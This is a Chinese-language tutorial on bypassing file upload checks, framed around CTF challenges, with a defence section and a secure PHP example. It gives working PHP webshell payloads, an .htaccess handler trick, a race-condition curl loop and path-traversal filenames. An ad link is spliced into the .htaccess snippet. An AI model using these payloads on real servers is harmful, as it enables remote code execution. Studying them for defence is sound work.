笑出僧1. 文件上传漏洞攻防实战指南
作为一名长期活跃在CTF竞赛和渗透测试领域的从业者，我经常遇到各种文件上传漏洞的攻防场景。今天我将系统梳理常见的文件上传绕过技术，并结合实际CTF赛题进行深度解析。这些技术不仅适用于竞赛环境，在真实渗透测试中同样具有参考价值。
文件上传漏洞本质上是由于服务端对用户上传文件的验证机制存在缺陷，导致攻击者能够上传恶意文件（如Webshell）并执行。要全面防御这类漏洞，需要理解攻击者的各种绕过手法。
需要模型API调用？ 免费领10W Token，多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 常见文件上传绕过技术详解
2.1 文件类型检测绕过
2.1.1 MIME类型伪造
服务端通常会检查Content-Type头，但这一值完全可以被篡改：
http复制POST /upload.php HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg <!-- 伪造为图片类型 -->
<?php system($_GET['cmd']); ?>
注意：现代WAF通常会结合文件内容检测，单纯修改MIME类型可能不够
2.1.2 文件头伪装
通过添加合法的文件头绕过内容检测：
php复制GIF89a; // GIF文件头
<?php eval($_POST['cmd']); ?>
常见文件头特征：
- JPEG: FF D8 FF E0
- PNG: 89 50 4E 47
- GIF: 47 49 46 38
2.2 文件扩展名绕过技术
2.2.1 黑名单绕过
当服务端使用黑名单过滤时，可以尝试以下变种：
- php → .php3, .php4, .php5, .phtml
- asp → .asa, .cer, .cdx
- jsp → .jspx, .jspf
2.2.2 大小写/特殊字符
- PhP, .PHp
- .php%20, .php.
2.2.3 双重扩展名
- shell.php.jpg
- shell.php%00.jpg (空字节截断，[PHP<5.3)
2.3 .htaccess攻击手法
Apache服务器中，.htaccess文件可以修改目录配置：
apache复制<FilesMatch "shell.jpg">](https://taotoken.net/?utm_source=general)
SetHandler application/x-httpd-php
</FilesMatch>
攻击步骤：
- 上传.htaccess文件设置处理程序
- 上传伪装成图片的Webshell
- 访问图片文件即可执行PHP代码
防御建议：禁止上传.htaccess或限制其内容
3. 高级绕过技术实战
3.1 图片马与二次渲染绕过
现代CMS常对图片进行二次渲染，常规图片马会失效。解决方案：
- 分析渲染算法，预测最终保留的内容
- 使用GD库渲染缺陷（如保留EXIF数据）
- 制作Polyglot文件（同时符合多种格式规范）
3.2 条件竞争攻击
当服务端先保存文件再检测时：
bash复制#!/bin/bash
while true; do
curl -F "file=@shell.php" http://target/upload.php &
curl http://target/uploads/shell.php &
done
3.3 解析漏洞利用
常见服务器解析特性：
- IIS6.0：/shell.asp;.jpg
- Nginx畸形路径：/upload/shell.jpg/xxx.php
- Apache多后缀：shell.php.xxx
4. 防御方案设计
4.1 完整防护策略
- 文件扩展名白名单（推荐使用zip,docx等安全格式）
- 文件内容检测（魔术字节+内容扫描）
- 随机化文件名（防止直接访问）
- 存储隔离（非Web目录）
- 权限控制（不可执行）
- 病毒扫描
4.2 安全代码示例
php复制$allowed = ['jpg', 'png'];
$ext = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if(!in_array($ext, $allowed)){
die('Invalid file type');
}
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['file']['tmp_name']);
if(strpos($mime, 'image/') !== 0){
die('Invalid content type');
}
$newName = bin2hex(random_bytes(16)).'.'.$ext;
move_uploaded_file($_FILES['file']['tmp_name'], '/var/storage/'.$newName);
5. CTF实战案例分析
5.1 [NISACTF 2022]babyupload
关键漏洞：os.path.join路径拼接问题
python复制# 漏洞代码
save_path = os.path.join("uploads", filename)
# 利用方式
filename = "/etc/passwd"
# 最终路径变为 "/etc/passwd"
修复方案：使用os.path.abspath检查绝对路径
5.2 [ACTF2020]Upload
绕过技巧：
- 使用phtml绕过php后缀过滤
- 修改Content-Type为image/jpeg
- 添加GIF文件头
5.3 [HarekazeCTF2019]Avatar Uploader
高级技巧：
- 保留PNG文件头(IHDR)
- 破坏后续数据使getimagesize检测失败
- 触发IMAGETYPE_PNG校验分支
6. 工具与资源推荐
6.1 实用工具
- Burp Suite：拦截修改上传请求
- ExifTool：编辑图片元数据
- 010 Editor：二进制文件编辑
6.2 学习资源
- OWASP File Upload Cheat Sheet
- PortSwigger Web Security Academy
- CTF Wiki文件上传章节
文件上传漏洞的防御需要纵深防御策略，单一防护措施很容易被绕过。建议开发者定期进行安全审计，并保持对新型攻击手法的关注。对于安全研究人员，理解这些技术有助于设计更有效的防护方案。